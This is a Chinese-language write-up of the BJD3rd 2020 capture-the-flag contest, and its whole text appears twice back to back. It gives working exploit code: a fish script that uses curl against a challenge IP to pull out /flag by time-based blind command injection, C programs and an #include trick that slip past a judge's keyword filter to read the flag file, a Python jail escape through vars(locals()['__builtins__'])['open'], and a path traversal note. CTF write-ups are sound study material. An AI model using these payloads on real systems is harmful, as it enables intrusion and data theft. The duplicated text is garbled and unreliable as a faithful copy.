BJD3rd 2020 部分writeup
技术 on 2020/09/15
打的不怎么样, misc manual死活找不到flag(想不到是端口, qwq), web notes总是本地成功远程失败, 还是菜.
web
小红花
看起来是用防火墙禁止了对外访问, 参考sql盲注的方法sleep
(fish脚本)
set payload "";while true
for i in (seqhex 30 7D)
set curr (printf '\x'$i)
echo $curr
if [ $curr = '?' ]
continue
end
set bak $payload
set payload $payload''$curr
echo $payload
if not curl 'http://183.129.189.60:10070/?imagin='(urlencode 'if cat /flag |grep -E "^'$payload'"; then sleep 1; fi') --max-time 1
set bak $payload
break
end
set payload $bak
end
end
结果不是预期解
gob
还记得查看自己头像的功能吗?它会返回你第一次上传的文件路径的内容, 不管你有没有上传成功, 目录穿越即可.
Re
维吉尼亚
直接把得到的密文写入到flag.txt, 再运行程序就可以得到明文.
blink
程序向终端里写了一堆控制字符, 但我们想要的是一行中哪里是x, 哪里是空格, 那就写个程序把需要的信息提取出来.
#include<bits/stdc++.h>
using namespace std;
int main(){
char a[25][64] = {' '};
for (int i=0;i<25;i++){
for(int j=0;j<64;j++) a[i][j] = ' ';
}
string tmp;
int k = 0, j=0;
while(getline(cin, tmp)){
int flag = 0;
j = 0;
for (int i=0;i<tmp.size();i++){
if (tmp[i] == 'x' || tmp[i] == ' ' || tmp[i] == '\n')
{
flag = 1;
// putchar(tmp[i]);
if (tmp[i] == 'x'){
a[k][j] = 'O';
}
j++;
}
}
if (!flag) continue;
// putchar('\n');
k++;
if (k == 50) k=0;
for (int i=0;i<25;i++){
for(int m=0;m<64;m++) putchar(a[i][m]);
putchar('\n');
}
}
return 0;
}
TaQiniOJ
绕敏感词, 都让执行任意C源码了, 字符拼接即可. 在那之前可以开个递归scandir找一下flag, 在home/ctf/flag
#include<stdlib.h>
#include<string.h>
int main(){
char name[128];
sprintf(&name, "%s%s%s%s%s", "/hom", "e","/ct", "f/f", "lag");
printf("%s", name);
FILE* p = fopen(name, "r");
for (int i=0;i<1000;i++){
char tmp;
fscanf(p,"%c", &tmp);
putchar(tmp);}
return 0;
}
TaQiniOJ-1(非预期)
过滤的有点多, 就想到了之前看过的oj安全, 试了试直接include敏感文件, 结果成了.
#include "/home/ctf/fl\
ag"
misc
/bin/cat
二维码, ps, 请.
testyournc
这个flag文件实在有点大, 看一下flag.py.bak, 得知他会在`102410241024*rand()位置写入flag, 爆破位置即可.
f=open('/home/ctf/flag','r')
offset = 1024
for j in range(10):
for i in range(offset, offset+2048):
f.seek(1024*1024*1024*i)
tmp = f.read(20)
try:
re.search('[a-z,0-9]', tmp).span()
except:
continue
print tmp
offset += 2048
PY me(非预期)
fuzz了一下可用字符, 太少, 有点难, 就想办法绕过关键字检测
目标是调用open函数, 先找到函数表locals()['_'+'_buil'+'tins_'+'_']
只能用attribute方式访问, 还是不能拼字符串, 那想办法让他可以通过[]的方式访问, 经过一番尝试找到了vars()函数, 就可以变成一个dict, 再访问其中的"open"就可以得到一个open函数.
读/proc/self/cmdline得到脚本位置, 读取源码, 得到flag.
vars(locals()['_'+'_buil'+'tins_'+'_'])["op"+"en"]('bjdpyjail.py', 'r').read()
预期解是沙箱逃逸, 请看出题人的文章:
技术 on 2020/09/15
打的不怎么样, misc manual死活找不到flag(想不到是端口, qwq), web notes总是本地成功远程失败, 还是菜.
web
小红花
看起来是用防火墙禁止了对外访问, 参考sql盲注的方法sleep
(fish脚本)
set payload "";while true
for i in (seqhex 30 7D)
set curr (printf '\x'$i)
echo $curr
if [ $curr = '?' ]
continue
end
set bak $payload
set payload $payload''$curr
echo $payload
if not curl 'http://183.129.189.60:10070/?imagin='(urlencode 'if cat /flag |grep -E "^'$payload'"; then sleep 1; fi') --max-time 1
set bak $payload
break
end
set payload $bak
end
end
结果不是预期解
gob
还记得查看自己头像的功能吗?它会返回你第一次上传的文件路径的内容, 不管你有没有上传成功, 目录穿越即可.
Re
维吉尼亚
直接把得到的密文写入到flag.txt, 再运行程序就可以得到明文.
blink
程序向终端里写了一堆控制字符, 但我们想要的是一行中哪里是x, 哪里是空格, 那就写个程序把需要的信息提取出来.
#include<bits/stdc++.h>
using namespace std;
int main(){
char a[25][64] = {' '};
for (int i=0;i<25;i++){
for(int j=0;j<64;j++) a[i][j] = ' ';
}
string tmp;
int k = 0, j=0;
while(getline(cin, tmp)){
int flag = 0;
j = 0;
for (int i=0;i<tmp.size();i++){
if (tmp[i] == 'x' || tmp[i] == ' ' || tmp[i] == '\n')
{
flag = 1;
// putchar(tmp[i]);
if (tmp[i] == 'x'){
a[k][j] = 'O';
}
j++;
}
}
if (!flag) continue;
// putchar('\n');
k++;
if (k == 50) k=0;
for (int i=0;i<25;i++){
for(int m=0;m<64;m++) putchar(a[i][m]);
putchar('\n');
}
}
return 0;
}
TaQiniOJ
绕敏感词, 都让执行任意C源码了, 字符拼接即可. 在那之前可以开个递归scandir找一下flag, 在home/ctf/flag
#include<stdlib.h>
#include<string.h>
int main(){
char name[128];
sprintf(&name, "%s%s%s%s%s", "/hom", "e","/ct", "f/f", "lag");
printf("%s", name);
FILE* p = fopen(name, "r");
for (int i=0;i<1000;i++){
char tmp;
fscanf(p,"%c", &tmp);
putchar(tmp);}
return 0;
}
TaQiniOJ-1(非预期)
过滤的有点多, 就想到了之前看过的oj安全, 试了试直接include敏感文件, 结果成了.
#include "/home/ctf/fl\
ag"
misc
/bin/cat
二维码, ps, 请.
testyournc
这个flag文件实在有点大, 看一下flag.py.bak, 得知他会在`102410241024*rand()位置写入flag, 爆破位置即可.
f=open('/home/ctf/flag','r')
offset = 1024
for j in range(10):
for i in range(offset, offset+2048):
f.seek(1024*1024*1024*i)
tmp = f.read(20)
try:
re.search('[a-z,0-9]', tmp).span()
except:
continue
print tmp
offset += 2048
PY me(非预期)
fuzz了一下可用字符, 太少, 有点难, 就想办法绕过关键字检测
目标是调用open函数, 先找到函数表locals()['_'+'_buil'+'tins_'+'_']
只能用attribute方式访问, 还是不能拼字符串, 那想办法让他可以通过[]的方式访问, 经过一番尝试找到了vars()函数, 就可以变成一个dict, 再访问其中的"open"就可以得到一个open函数.
读/proc/self/cmdline得到脚本位置, 读取源码, 得到flag.
vars(locals()['_'+'_buil'+'tins_'+'_'])["op"+"en"]('bjdpyjail.py', 'r').read()
预期解是沙箱逃逸, 请看出题人的文章: